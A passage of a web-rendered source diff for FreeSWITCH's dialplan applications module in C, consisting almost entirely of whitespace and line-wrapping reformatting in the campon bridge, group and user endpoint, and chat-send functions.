</ins><span class="cx">                 if (status != SWITCH_STATUS_BREAK) {
</span><span class="cx">                         if (!strcasecmp(moh, &quot;silence&quot;)) {
</span><span class="cx">                                 status = switch_ivr_collect_digits_callback(session, &amp;args, 0, 0);
</span><span class="lines">@@ -2207,7 +2211,7 @@
</span><span class="cx">         switch_threadattr_t *thd_attr = NULL;
</span><span class="cx">         char *camp_data = NULL;
</span><span class="cx">         switch_status_t status;
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (zstr(data)) {
</span><span class="cx">                 return;
</span><span class="cx">         }
</span><span class="lines">@@ -2218,7 +2222,7 @@
</span><span class="cx">         if ((v_campon = switch_channel_get_variable(caller_channel, &quot;campon&quot;)) &amp;&amp; switch_true(v_campon)) {
</span><span class="cx">                 const char *cid_name = NULL;
</span><span class="cx">                 const char *cid_number = NULL;
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (!(cid_name = switch_channel_get_variable(caller_channel, &quot;effective_caller_id_name&quot;))) {
</span><span class="cx">                         cid_name = switch_channel_get_variable(caller_channel, &quot;caller_id_name&quot;);
</span><span class="cx">                 }
</span><span class="lines">@@ -2239,7 +2243,7 @@
</span><span class="cx">                 v_campon_timeout = switch_channel_get_variable(caller_channel, &quot;campon_timeout&quot;);
</span><span class="cx">                 v_campon_sleep = switch_channel_get_variable(caller_channel, &quot;campon_sleep&quot;);
</span><span class="cx">                 v_campon_fallback_exten = switch_channel_get_variable(caller_channel, &quot;campon_fallback_exten&quot;);
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (v_campon_retries) {
</span><span class="cx">                         if ((tmp = atoi(v_campon_retries)) &gt; 0) {
</span><span class="cx">                                 campon_retries = tmp;
</span><span class="lines">@@ -2262,10 +2266,10 @@
</span><span class="cx">                 camping = 1;
</span><span class="cx"> 
</span><span class="cx">                 if (cid_name &amp;&amp; cid_number) {
</span><del>-                        camp_data = switch_core_session_sprintf(session, &quot;{origination_caller_id_name='%s',origination_caller_id_number='%s'}%s&quot;, 
</del><ins>+                        camp_data = switch_core_session_sprintf(session, &quot;{origination_caller_id_name='%s',origination_caller_id_number='%s'}%s&quot;,
</ins><span class="cx">                                                                                                         cid_name, cid_number, data);
</span><span class="cx">                 } else {
</span><del>-                        camp_data = (char *)data;
</del><ins>+                        camp_data = (char *) data;
</ins><span class="cx">                 }
</span><span class="cx"> 
</span><span class="cx">                 if (!(moh = switch_channel_get_variable(caller_channel, &quot;hold_music&quot;))) {
</span><span class="lines">@@ -2275,22 +2279,22 @@
</span><span class="cx">                 do {
</span><span class="cx">                         fail = 0;
</span><span class="cx">                         status = switch_ivr_originate(NULL, &amp;peer_session, &amp;cause, camp_data, campon_timeout, NULL, NULL, NULL, NULL, NULL, SOF_NONE, NULL);
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         if (!switch_channel_ready(caller_channel)) {
</span><span class="cx">                                 fail = 1;
</span><span class="cx">                                 break;
</span><span class="cx">                         }
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         if (status == SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                                 camping = 0;
</span><span class="cx">                                 break;
</span><span class="cx">                         } else {
</span><span class="cx">                                 fail = 1;
</span><span class="cx">                         }
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         if (camping) {
</span><del>-                                
-                                if (!thread_started &amp;&amp; fail &amp;&amp; moh &amp;&amp; !switch_channel_test_flag(caller_channel, CF_PROXY_MODE) &amp;&amp; 
</del><ins>+
+                                if (!thread_started &amp;&amp; fail &amp;&amp; moh &amp;&amp; !switch_channel_test_flag(caller_channel, CF_PROXY_MODE) &amp;&amp;
</ins><span class="cx">                                         !switch_channel_test_flag(caller_channel, CF_PROXY_MEDIA) &amp;&amp;
</span><span class="cx">                                         !switch_true(switch_channel_get_variable(caller_channel, &quot;bypass_media&quot;))) {
</span><span class="cx">                                         switch_threadattr_create(&amp;thd_attr, switch_core_session_get_pool(session));
</span><span class="lines">@@ -2311,15 +2315,15 @@
</span><span class="cx"> 
</span><span class="cx">                                 if (fail) {
</span><span class="cx">                                         int64_t wait = campon_sleep * 1000000;
</span><del>-                                        
-                                        while(stake.running &amp;&amp; wait &gt; 0 &amp;&amp; switch_channel_ready(caller_channel)) {
</del><ins>+
+                                        while (stake.running &amp;&amp; wait &gt; 0 &amp;&amp; switch_channel_ready(caller_channel)) {
</ins><span class="cx">                                                 switch_yield(100000);
</span><span class="cx">                                                 wait -= 100000;
</span><span class="cx">                                         }
</span><span class="cx">                                 }
</span><span class="cx">                         }
</span><span class="cx">                 } while (camping &amp;&amp; switch_channel_ready(caller_channel));
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (thread) {
</span><span class="cx">                         stake.running = 0;
</span><span class="cx">                         switch_channel_set_flag(caller_channel, CF_NOT_READY);
</span><span class="lines">@@ -2327,17 +2331,18 @@
</span><span class="cx">                 }
</span><span class="cx"> 
</span><span class="cx">                 switch_channel_clear_flag(caller_channel, CF_NOT_READY);
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (stake.do_xfer &amp;&amp; !zstr(v_campon_fallback_exten)) {
</span><del>-                        switch_ivr_session_transfer(session, 
-                                                                                v_campon_fallback_exten, 
</del><ins>+                        switch_ivr_session_transfer(session,
+                                                                                v_campon_fallback_exten,
</ins><span class="cx">                                                                                 switch_channel_get_variable(caller_channel, &quot;campon_fallback_dialplan&quot;),
</span><span class="cx">                                                                                 switch_channel_get_variable(caller_channel, &quot;campon_fallback_context&quot;));
</span><span class="cx">                         return;
</span><span class="cx">                 }
</span><span class="cx"> 
</span><span class="cx">         } else {
</span><del>-                if ((status = switch_ivr_originate(session, &amp;peer_session, &amp;cause, data, 0, NULL, NULL, NULL, NULL, NULL, SOF_NONE, NULL)) != SWITCH_STATUS_SUCCESS) {
</del><ins>+                if ((status =
+                         switch_ivr_originate(session, &amp;peer_session, &amp;cause, data, 0, NULL, NULL, NULL, NULL, NULL, SOF_NONE, NULL)) != SWITCH_STATUS_SUCCESS) {
</ins><span class="cx">                         fail = 1;
</span><span class="cx">                 }
</span><span class="cx">         }
</span><span class="lines">@@ -2350,23 +2355,23 @@
</span><span class="cx">                    'true' to continue on all failures.
</span><span class="cx">                    'false' to not continue.
</span><span class="cx">                    A list of codes either names or numbers eg &quot;user_busy,normal_temporary_failure,603&quot;
</span><del>-                   failure_causes acts as the opposite version        
</del><ins>+                   failure_causes acts as the opposite version  
</ins><span class="cx">                    EXCEPTION... ATTENDED_TRANSFER never is a reason to continue.......
</span><span class="cx">                  */
</span><span class="cx">                 if (cause != SWITCH_CAUSE_ATTENDED_TRANSFER) {
</span><span class="cx">                         if (continue_on_fail || failure_causes) {
</span><span class="cx">                                 const char *cause_str;
</span><span class="cx">                                 char cause_num[35] = &quot;&quot;;
</span><del>-                                                                                                                                
</del><ins>+
</ins><span class="cx">                                 cause_str = switch_channel_cause2str(cause);
</span><span class="cx">                                 switch_snprintf(cause_num, sizeof(cause_num), &quot;%u&quot;, cause);
</span><del>-                        
</del><ins>+
</ins><span class="cx">                                 if (failure_causes) {
</span><span class="cx">                                         char *lbuf = switch_core_session_strdup(session, failure_causes);
</span><span class="cx">                                         char *argv[256] = { 0 };
</span><span class="cx">                                         int argc = switch_separate_string(lbuf, ',', argv, (sizeof(argv) / sizeof(argv[0])));
</span><span class="cx">                                         int i, x = 0;
</span><del>-                                        
</del><ins>+
</ins><span class="cx">                                         for (i = 0; i &lt; argc; i++) {
</span><span class="cx">                                                 if (!strcasecmp(argv[i], cause_str) || !strcasecmp(argv[i], cause_num)) {
</span><span class="cx">                                                         x++;
</span><span class="lines">@@ -2374,7 +2379,7 @@
</span><span class="cx">                                                 }
</span><span class="cx">                                         }
</span><span class="cx">                                         if (!x) {
</span><del>-                                                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, 
</del><ins>+                                                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG,
</ins><span class="cx">                                                                                   &quot;Failure causes [%s]:  Cause: %s\n&quot;, failure_causes, cause_str);
</span><span class="cx">                                                 return;
</span><span class="cx">                                         }
</span><span class="lines">@@ -2388,10 +2393,10 @@
</span><span class="cx">                                                 char *argv[256] = { 0 };
</span><span class="cx">                                                 int argc = switch_separate_string(lbuf, ',', argv, (sizeof(argv) / sizeof(argv[0])));
</span><span class="cx">                                                 int i;
</span><del>-                                                
</del><ins>+
</ins><span class="cx">                                                 for (i = 0; i &lt; argc; i++) {
</span><span class="cx">                                                         if (!strcasecmp(argv[i], cause_str) || !strcasecmp(argv[i], cause_num)) {
</span><del>-                                                                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, 
</del><ins>+                                                                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG,
</ins><span class="cx">                                                                                                   &quot;Continue on fail [%s]:  Cause: %s\n&quot;, continue_on_fail, cause_str);
</span><span class="cx">                                                                 return;
</span><span class="cx">                                                         }
</span><span class="lines">@@ -2410,7 +2415,7 @@
</span><span class="cx">                 }
</span><span class="cx">                 return;
</span><span class="cx">         } else {
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (switch_channel_test_flag(caller_channel, CF_PROXY_MODE)) {
</span><span class="cx">                         switch_ivr_signal_bridge(session, peer_session);
</span><span class="cx">                 } else {
</span><span class="lines">@@ -2439,10 +2444,10 @@
</span><span class="cx">                         if (switch_true(switch_channel_get_variable(caller_channel, SWITCH_BYPASS_MEDIA_AFTER_BRIDGE_VARIABLE))) {
</span><span class="cx">                                 switch_channel_set_flag(caller_channel, CF_BYPASS_MEDIA_AFTER_BRIDGE);
</span><span class="cx">                         }
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         switch_ivr_multi_threaded_bridge(session, peer_session, func, a_key, b_key);
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (peer_session) {
</span><span class="cx">                         switch_core_session_rwunlock(peer_session);
</span><span class="cx">                 }
</span><span class="lines">@@ -2452,17 +2457,19 @@
</span><span class="cx"> /* fake chan_error */
</span><span class="cx"> switch_endpoint_interface_t *error_endpoint_interface;
</span><span class="cx"> static switch_call_cause_t error_outgoing_channel(switch_core_session_t *session,
</span><del>-                                                                                                 switch_event_t *var_event,
-                                                                                                 switch_caller_profile_t *outbound_profile,
-                                                                                                 switch_core_session_t **new_session, switch_memory_pool_t **pool, switch_originate_flag_t flags, switch_call_cause_t *cancel_cause);
</del><ins>+                                                                                                  switch_event_t *var_event,
+                                                                                                  switch_caller_profile_t *outbound_profile,
+                                                                                                  switch_core_session_t **new_session, switch_memory_pool_t **pool, switch_originate_flag_t flags,
+                                                                                                  switch_call_cause_t *cancel_cause);
</ins><span class="cx"> switch_io_routines_t error_io_routines = {
</span><span class="cx">         /*.outgoing_channel */ error_outgoing_channel
</span><span class="cx"> };
</span><span class="cx"> 
</span><span class="cx"> static switch_call_cause_t error_outgoing_channel(switch_core_session_t *session,
</span><del>-                                                                                                 switch_event_t *var_event,
-                                                                                                 switch_caller_profile_t *outbound_profile,
-                                                                                                 switch_core_session_t **new_session, switch_memory_pool_t **pool, switch_originate_flag_t flags, switch_call_cause_t *cancel_cause)
</del><ins>+                                                                                                  switch_event_t *var_event,
+                                                                                                  switch_caller_profile_t *outbound_profile,
+                                                                                                  switch_core_session_t **new_session, switch_memory_pool_t **pool, switch_originate_flag_t flags,
+                                                                                                  switch_call_cause_t *cancel_cause)
</ins><span class="cx"> {
</span><span class="cx">         switch_call_cause_t cause = switch_channel_str2cause(outbound_profile-&gt;destination_number);
</span><span class="cx">         if (cause == SWITCH_CAUSE_NONE) {
</span><span class="lines">@@ -2476,17 +2483,19 @@
</span><span class="cx"> /* fake chan_group */
</span><span class="cx"> switch_endpoint_interface_t *group_endpoint_interface;
</span><span class="cx"> static switch_call_cause_t group_outgoing_channel(switch_core_session_t *session,
</span><del>-                                                                                                 switch_event_t *var_event,
-                                                                                                 switch_caller_profile_t *outbound_profile,
-                                                                                                 switch_core_session_t **new_session, switch_memory_pool_t **pool, switch_originate_flag_t flags, switch_call_cause_t *cancel_cause);
</del><ins>+                                                                                                  switch_event_t *var_event,
+                                                                                                  switch_caller_profile_t *outbound_profile,
+                                                                                                  switch_core_session_t **new_session, switch_memory_pool_t **pool, switch_originate_flag_t flags,
+                                                                                                  switch_call_cause_t *cancel_cause);
</ins><span class="cx"> switch_io_routines_t group_io_routines = {
</span><span class="cx">         /*.outgoing_channel */ group_outgoing_channel
</span><span class="cx"> };
</span><span class="cx"> 
</span><span class="cx"> static switch_call_cause_t group_outgoing_channel(switch_core_session_t *session,
</span><del>-                                                                                                 switch_event_t *var_event,
-                                                                                                 switch_caller_profile_t *outbound_profile,
-                                                                                                 switch_core_session_t **new_session, switch_memory_pool_t **pool, switch_originate_flag_t flags, switch_call_cause_t *cancel_cause)
</del><ins>+                                                                                                  switch_event_t *var_event,
+                                                                                                  switch_caller_profile_t *outbound_profile,
+                                                                                                  switch_core_session_t **new_session, switch_memory_pool_t **pool, switch_originate_flag_t flags,
+                                                                                                  switch_call_cause_t *cancel_cause)
</ins><span class="cx"> {
</span><span class="cx">         char *group = NULL;
</span><span class="cx">         switch_call_cause_t cause = SWITCH_CAUSE_NONE;
</span><span class="lines">@@ -2501,33 +2510,32 @@
</span><span class="cx"> 
</span><span class="cx">         group = strdup(outbound_profile-&gt;destination_number);
</span><span class="cx"> 
</span><del>-        if (!group) goto done;
-        
</del><ins>+        if (!group)
+                goto done;
+
</ins><span class="cx">         if ((domain = strchr(group, '@'))) {
</span><span class="cx">                 *domain++ = '\0';
</span><span class="cx">         } else {
</span><span class="cx">                 domain = switch_core_get_variable(&quot;domain&quot;);
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (!domain) {
</span><span class="cx">                 goto done;
</span><span class="cx">         }
</span><span class="cx"> 
</span><del>-        if (var_event &amp;&amp; (skip=switch_event_get_header(var_event, &quot;group_recurse_variables&quot;)) &amp;&amp; switch_false(skip)) {
-                if ((var = switch_event_get_header(var_event, SWITCH_CALL_TIMEOUT_VARIABLE)) || 
-                        (var = switch_event_get_header(var_event, &quot;leg_timeout&quot;))) {
</del><ins>+        if (var_event &amp;&amp; (skip = switch_event_get_header(var_event, &quot;group_recurse_variables&quot;)) &amp;&amp; switch_false(skip)) {
+                if ((var = switch_event_get_header(var_event, SWITCH_CALL_TIMEOUT_VARIABLE)) || (var = switch_event_get_header(var_event, &quot;leg_timeout&quot;))) {
</ins><span class="cx">                         timelimit = atoi(var);
</span><span class="cx">                 }
</span><span class="cx">                 var_event = NULL;
</span><span class="cx">         }
</span><span class="cx"> 
</span><span class="cx">         template = switch_mprintf(&quot;${group_call(%s@%s)}&quot;, group, domain);
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (session) {
</span><span class="cx">                 switch_channel_t *channel = switch_core_session_get_channel(session);
</span><span class="cx">                 dest = switch_channel_expand_variables(channel, template);
</span><del>-                if ((var = switch_channel_get_variable(channel, SWITCH_CALL_TIMEOUT_VARIABLE)) ||
-                        (var = switch_event_get_header(var_event, &quot;leg_timeout&quot;))) {
</del><ins>+                if ((var = switch_channel_get_variable(channel, SWITCH_CALL_TIMEOUT_VARIABLE)) || (var = switch_event_get_header(var_event, &quot;leg_timeout&quot;))) {
</ins><span class="cx">                         timelimit = atoi(var);
</span><span class="cx">                 }
</span><span class="cx">         } else if (var_event) {
</span><span class="lines">@@ -2542,28 +2550,27 @@
</span><span class="cx">         if (!dest) {
</span><span class="cx">                 goto done;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (var_event) {
</span><span class="cx">                 cid_name_override = switch_event_get_header(var_event, &quot;origination_caller_id_name&quot;);
</span><span class="cx">                 cid_num_override = switch_event_get_header(var_event, &quot;origination_caller_id_number&quot;);
</span><del>-                if ((var = switch_event_get_header(var_event, SWITCH_CALL_TIMEOUT_VARIABLE)) ||
-                        (var = switch_event_get_header(var_event, &quot;leg_timeout&quot;))) {
</del><ins>+                if ((var = switch_event_get_header(var_event, SWITCH_CALL_TIMEOUT_VARIABLE)) || (var = switch_event_get_header(var_event, &quot;leg_timeout&quot;))) {
</ins><span class="cx">                         timelimit = atoi(var);
</span><span class="cx">                 }
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if ((flags &amp; SOF_FORKED_DIAL)) {
</span><span class="cx">                 myflags |= SOF_NOBLOCK;
</span><span class="cx">         }
</span><del>-        
-        
-        if (switch_ivr_originate(session, new_session, &amp;cause, dest, timelimit, NULL, 
</del><ins>+
+
+        if (switch_ivr_originate(session, new_session, &amp;cause, dest, timelimit, NULL,
</ins><span class="cx">                                                          cid_name_override, cid_num_override, NULL, var_event, myflags, cancel_cause) == SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                 const char *context;
</span><span class="cx">                 switch_caller_profile_t *cp;
</span><del>-                
</del><ins>+
</ins><span class="cx">                 new_channel = switch_core_session_get_channel(*new_session);
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if ((context = switch_channel_get_variable(new_channel, &quot;group_context&quot;))) {
</span><span class="cx">                         if ((cp = switch_channel_get_caller_profile(new_channel))) {
</span><span class="cx">                                 cp-&gt;context = switch_core_strdup(cp-&gt;pool, context);
</span><span class="lines">@@ -2578,10 +2585,10 @@
</span><span class="cx">         if (dest &amp;&amp; dest != template) {
</span><span class="cx">                 switch_safe_free(dest);
</span><span class="cx">         }
</span><del>-        
-        switch_safe_free(template);        
-        switch_safe_free(group);        
</del><span class="cx"> 
</span><ins>+        switch_safe_free(template);
+        switch_safe_free(group);
+
</ins><span class="cx">         if (cause == SWITCH_CAUSE_NONE) {
</span><span class="cx">                 cause = SWITCH_CAUSE_DESTINATION_OUT_OF_ORDER;
</span><span class="cx">         }
</span><span class="lines">@@ -2596,7 +2603,8 @@
</span><span class="cx"> static switch_call_cause_t user_outgoing_channel(switch_core_session_t *session,
</span><span class="cx">                                                                                                  switch_event_t *var_event,
</span><span class="cx">                                                                                                  switch_caller_profile_t *outbound_profile,
</span><del>-                                                                                                 switch_core_session_t **new_session, switch_memory_pool_t **pool, switch_originate_flag_t flags, switch_call_cause_t *cancel_cause);
</del><ins>+                                                                                                 switch_core_session_t **new_session, switch_memory_pool_t **pool, switch_originate_flag_t flags,
+                                                                                                 switch_call_cause_t *cancel_cause);
</ins><span class="cx"> switch_io_routines_t user_io_routines = {
</span><span class="cx">         /*.outgoing_channel */ user_outgoing_channel
</span><span class="cx"> };
</span><span class="lines">@@ -2604,7 +2612,8 @@
</span><span class="cx"> static switch_call_cause_t user_outgoing_channel(switch_core_session_t *session,
</span><span class="cx">                                                                                                  switch_event_t *var_event,
</span><span class="cx">                                                                                                  switch_caller_profile_t *outbound_profile,
</span><del>-                                                                                                 switch_core_session_t **new_session, switch_memory_pool_t **pool, switch_originate_flag_t flags, switch_call_cause_t *cancel_cause)
</del><ins>+                                                                                                 switch_core_session_t **new_session, switch_memory_pool_t **pool, switch_originate_flag_t flags,
+                                                                                                 switch_call_cause_t *cancel_cause)
</ins><span class="cx"> {
</span><span class="cx">         switch_xml_t x_domain = NULL, xml = NULL, x_user = NULL, x_group = NULL, x_param, x_params;
</span><span class="cx">         char *user = NULL, *domain = NULL;
</span><span class="lines">@@ -2622,22 +2631,22 @@
</span><span class="cx"> 
</span><span class="cx">         user = strdup(outbound_profile-&gt;destination_number);
</span><span class="cx"> 
</span><del>-        if (!user) goto done;
</del><ins>+        if (!user)
+                goto done;
</ins><span class="cx"> 
</span><span class="cx">         if ((domain = strchr(user, '@'))) {
</span><span class="cx">                 *domain++ = '\0';
</span><span class="cx">         } else {
</span><span class="cx">                 domain = switch_core_get_variable(&quot;domain&quot;);
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (!domain) {
</span><span class="cx">                 goto done;
</span><span class="cx">         }
</span><del>-        
</del><span class="cx"> 
</span><del>-        if (var_event &amp;&amp; (skip=switch_event_get_header(var_event, &quot;user_recurse_variables&quot;)) &amp;&amp; switch_false(skip)) {
-                if ((var = switch_event_get_header(var_event, SWITCH_CALL_TIMEOUT_VARIABLE)) || 
-                        (var = switch_event_get_header(var_event, &quot;leg_timeout&quot;))) {
</del><ins>+
+        if (var_event &amp;&amp; (skip = switch_event_get_header(var_event, &quot;user_recurse_variables&quot;)) &amp;&amp; switch_false(skip)) {
+                if ((var = switch_event_get_header(var_event, SWITCH_CALL_TIMEOUT_VARIABLE)) || (var = switch_event_get_header(var_event, &quot;leg_timeout&quot;))) {
</ins><span class="cx">                         timelimit = atoi(var);
</span><span class="cx">                 }
</span><span class="cx">                 var_event = NULL;
</span><span class="lines">@@ -2744,7 +2753,7 @@
</span><span class="cx">                                 switch_event_dup(&amp;event, var_event);
</span><span class="cx">                                 switch_event_del_header(event, &quot;dialed_user&quot;);
</span><span class="cx">                                 switch_event_del_header(event, &quot;dialed_domain&quot;);
</span><del>-                                if ((varval = switch_event_get_header(var_event, SWITCH_CALL_TIMEOUT_VARIABLE)) || 
</del><ins>+                                if ((varval = switch_event_get_header(var_event, SWITCH_CALL_TIMEOUT_VARIABLE)) ||
</ins><span class="cx">                                         (varval = switch_event_get_header(var_event, &quot;leg_timeout&quot;))) {
</span><span class="cx">                                         timelimit = atoi(varval);
</span><span class="cx">                                 }
</span><span class="lines">@@ -2765,10 +2774,12 @@
</span><span class="cx"> 
</span><span class="cx">                 switch_snprintf(stupid, sizeof(stupid), &quot;user/%s&quot;, user);
</span><span class="cx">                 if (switch_stristr(stupid, d_dest)) {
</span><del>-                        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_WARNING, &quot;Waddya Daft? You almost called '%s' in an infinate loop!\n&quot;, stupid);
</del><ins>+                        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_WARNING, &quot;Waddya Daft? You almost called '%s' in an infinate loop!\n&quot;,
+                                                          stupid);
</ins><span class="cx">                         cause = SWITCH_CAUSE_INVALID_IE_CONTENTS;
</span><del>-                } else if (switch_ivr_originate(session, new_session, &amp;cause, d_dest, timelimit, NULL, 
-                                                                                cid_name_override, cid_num_override, outbound_profile, var_event, myflags, cancel_cause) == SWITCH_STATUS_SUCCESS) {
</del><ins>+                } else if (switch_ivr_originate(session, new_session, &amp;cause, d_dest, timelimit, NULL,
+                                                                                cid_name_override, cid_num_override, outbound_profile, var_event, myflags,
+                                                                                cancel_cause) == SWITCH_STATUS_SUCCESS) {
</ins><span class="cx">                         const char *context;
</span><span class="cx">                         switch_caller_profile_t *cp;
</span><span class="cx"> 
</span><span class="lines">@@ -2812,7 +2823,7 @@
</span><span class="cx">         if (params) {
</span><span class="cx">                 switch_event_destroy(&amp;params);
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (var_event &amp;&amp; var_event_orig != var_event) {
</span><span class="cx">                 switch_event_destroy(&amp;var_event);
</span><span class="cx">         }
</span><span class="lines">@@ -2851,7 +2862,7 @@
</span><span class="cx">         uint32_t thresh, silence_hits, listen_hits, timeout_ms = 0;
</span><span class="cx">         int argc;
</span><span class="cx">         char *lbuf = NULL;
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (!zstr(data) &amp;&amp; (lbuf = switch_core_session_strdup(session, data))
</span><span class="cx">                 &amp;&amp; (argc = switch_separate_string(lbuf, ' ', argv, (sizeof(argv) / sizeof(argv[0])))) &gt;= 3) {
</span><span class="cx">                 thresh = atoi(argv[0]);
</span><span class="lines">@@ -2869,8 +2880,8 @@
</span><span class="cx">                         return;
</span><span class="cx">                 }
</span><span class="cx"> 
</span><del>-        } 
-        
</del><ins>+        }
+
</ins><span class="cx">         switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, &quot;Usage: %s\n&quot;, WAIT_FOR_SILENCE_SYNTAX);
</span><span class="cx"> }
</span><span class="cx"> 
</span><span class="lines">@@ -2880,12 +2891,17 @@
</span><span class="cx">         switch_event_t *event;
</span><span class="cx"> 
</span><span class="cx">         if (switch_event_create(&amp;event, SWITCH_EVENT_RECV_MESSAGE) == SWITCH_STATUS_SUCCESS) {
</span><del>-                if (proto) switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, &quot;Proto&quot;, proto);
-                if (from) switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, &quot;From&quot;, from);
-                if (subject) switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, &quot;Subject&quot;, subject);
-                if (hint) switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, &quot;Hint&quot;, hint);
-                if (body) switch_event_add_body(event, &quot;%s&quot;, body);
-                if (to) { 
</del><ins>+                if (proto)
+                        switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, &quot;Proto&quot;, proto);
+                if (from)
+                        switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, &quot;From&quot;, from);
+                if (subject)
+                        switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, &quot;Subject&quot;, subject);
+                if (hint)
+                        switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, &quot;Hint&quot;, hint);
+                if (body)
+                        switch_event_add_body(event, &quot;%s&quot;, body);
+                if (to) {
</ins><span class="cx">                         const char *v;
</span><span class="cx">                         switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, &quot;To&quot;, to);
</span><span class="cx">                         if ((v = switch_core_get_variable(to))) {
</span><span class="lines">@@ -2899,18 +2915,18 @@
</span><span class="cx"> 
</span><span class="cx">                 switch_event_destroy(&amp;event);
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         return SWITCH_STATUS_MEMERR;
</span><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> static switch_status_t api_chat_send(const char *proto, const char *from, const char *to, const char *subject,
</span><span class="cx">                                                                          const char *body, const char *type, const char *hint)
</span><span class="cx"> {
</span><del>-        if (to) { 
</del><ins>+        if (to) {
</ins><span class="cx">                 const char *v;
</span><span class="cx">                 switch_stream_handle_t stream = { 0 };
</span><span class="cx">                 char *cmd = NULL, *arg;
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (!(v = switch_core_get_variable(to))) {
</span><span class="cx">                         v = to;
</span><span class="cx">                 }
</span><span class="lines">@@ -2928,16 +2944,15 @@
</span><span class="cx">                 switch_api_execute(cmd, arg, NULL, &amp;stream);
</span><span class="cx"> 
</span><span class="cx">                 if (proto) {
</span><del>-                        switch_core_chat_send(proto, &quot;api&quot;, to, hint &amp;&amp; strchr(hint, '/') ? hint : from, 
-                                                                  !zstr(type) ? type : NULL, (char *) stream.data, NULL, NULL);
</del><ins>+                        switch_core_chat_send(proto, &quot;api&quot;, to, hint &amp;&amp; strchr(hint, '/') ? hint : from, !zstr(type) ? type : NULL, (char *) stream.data, NULL, NULL);
</ins><span class="cx">                 }
</span><span class="cx"> 
</span><span class="cx">                 switch_safe_free(stream.data);
</span><del>-                
</del><ins>+
</ins><span class="cx">                 free(cmd);
</span><span class="cx"> 
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="cx"> }
</span><span class="cx"> 
</span><span class="lines">@@ -2998,7 +3013,7 @@
</span><span class="cx"> 
</span><span class="cx">         SWITCH_ADD_CHAT(chat_interface, &quot;event&quot;, event_chat_send);
</span><span class="cx">         SWITCH_ADD_CHAT(chat_interface, &quot;api&quot;, api_chat_send);
</span><del>-        
</del><ins>+
</ins><span class="cx">         SWITCH_ADD_API(api_interface, &quot;strepoch&quot;, &quot;Convert a date string into epoch time&quot;, strepoch_api_function, &quot;&lt;string&gt;&quot;);
</span><span class="cx">         SWITCH_ADD_API(api_interface, &quot;chat&quot;, &quot;chat&quot;, chat_api_function, &quot;&lt;proto&gt;|&lt;from&gt;|&lt;to&gt;|&lt;message&gt;|[&lt;content-type&gt;]&quot;);
</span><span class="cx">         SWITCH_ADD_API(api_interface, &quot;strftime&quot;, &quot;strftime&quot;, strftime_api_function, &quot;&lt;format_string&gt;&quot;);
</span><span class="lines">@@ -3016,7 +3031,8 @@
</span><span class="cx">                                    SAF_SUPPORT_NOMEDIA);
</span><span class="cx">         SWITCH_ADD_APP(app_interface, &quot;check_acl&quot;, &quot;Check an ip against an ACL list&quot;, &quot;Check an ip against an ACL list&quot;, check_acl_function,
</span><span class="cx">                                    &quot;&lt;ip&gt; &lt;acl | cidr&gt; [&lt;hangup_cause&gt;]&quot;, SAF_SUPPORT_NOMEDIA | SAF_ROUTING_EXEC);
</span><del>-        SWITCH_ADD_APP(app_interface, &quot;verbose_events&quot;, &quot;Make ALL Events verbose.&quot;, &quot;Make ALL Events verbose.&quot;, verbose_events_function, &quot;&quot;, SAF_SUPPORT_NOMEDIA | SAF_ROUTING_EXEC);
</del><ins>+        SWITCH_ADD_APP(app_interface, &quot;verbose_events&quot;, &quot;Make ALL Events verbose.&quot;, &quot;Make ALL Events verbose.&quot;, verbose_events_function, &quot;&quot;,
+                                   SAF_SUPPORT_NOMEDIA | SAF_ROUTING_EXEC);
</ins><span class="cx">         SWITCH_ADD_APP(app_interface, &quot;early_hangup&quot;, &quot;Enable early hangup&quot;, &quot;&quot;, early_hangup_function, &quot;&quot;, SAF_SUPPORT_NOMEDIA | SAF_ROUTING_EXEC);
</span><span class="cx">         SWITCH_ADD_APP(app_interface, &quot;sleep&quot;, &quot;Pause a channel&quot;, SLEEP_LONG_DESC, sleep_function, &quot;&lt;pausemilliseconds&gt;&quot;, SAF_SUPPORT_NOMEDIA);
